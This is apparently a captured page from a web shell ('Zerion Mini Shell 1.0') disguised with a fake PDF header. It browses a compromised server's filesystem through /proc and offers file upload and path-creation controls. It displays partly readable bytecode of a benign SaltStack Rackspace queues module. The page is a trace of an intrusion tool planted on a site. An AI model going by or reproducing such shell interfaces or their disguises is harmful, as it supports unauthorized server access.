%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/lib/python2.7/site-packages/salt/utils/openstack/pyrax/
Upload File :
Create Path :
Current File : //proc/227033/root/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyc

�
���^c@@s�ddlmZmZmZddlZeje�ZyddlZddl	ZWne
k
ri�nXddlmZde
fd��YZdS(i(tabsolute_importtunicode_literalstprint_functionN(tauthenticatetRackspaceQueuescB@s5eZd�Zd�Zd�Zd�Zd�ZRS(cK@s1tj||||�|_|jjj|_dS(N(RtAuthenticatetauthtconntqueues(tselftusernametpasswordtregiontkwargs((sE/usr/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyt__init__scC@shy;|j|�r&tjd|�tS|jj|�tSWn&tjk
rc}tjd|�nXtS(u)
        Create RackSpace Queue.
        u)Queues "%s" already exists. Nothing done.u3RackSpace API got some problems during creation: %s(	texiststlogterrortTrueRtcreatetpyraxt
exceptionstFalse(R	tqnameterr_msg((sE/usr/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyRs	cC@smy?|j|�}|stS|j|�}|r>|j�nWn'tjk
rh}tjd|�tSXtS(u6
        Delete an existings RackSpace Queue.
        u3RackSpace API got some problems during deletion: %s(	RRtshowtdeleteRRRRR(R	RtqtqueueR((sE/usr/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyR*s	cC@sKy|jj|�rtStSWn&tjk
rF}tjd|�nXtS(u1
        Check to see if a Queue exists.
        u?RackSpace API got some problems during existing queue check: %s(Rtqueue_existsRRRRRR(R	RR((sE/usr/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyR<s	cC@styG|jj|�siSx*|jj�D]}|j|kr)|Sq)WWn&tjk
ro}tjd|�nXiS(u.
        Show information about Queue
        u?RackSpace API got some problems during existing queue check: %s(RRtlisttnameRRRR(R	RRR((sE/usr/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyRKs	(t__name__t
__module__RRRRR(((sE/usr/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyRs
				(t
__future__RRRtloggingt	getLoggerR RRtpyrax.exceptionstImportErrortsalt.utils.openstack.pyraxRtobjectR(((sE/usr/lib/python2.7/site-packages/salt/utils/openstack/pyrax/queues.pyt<module>s


Zerion Mini Shell 1.0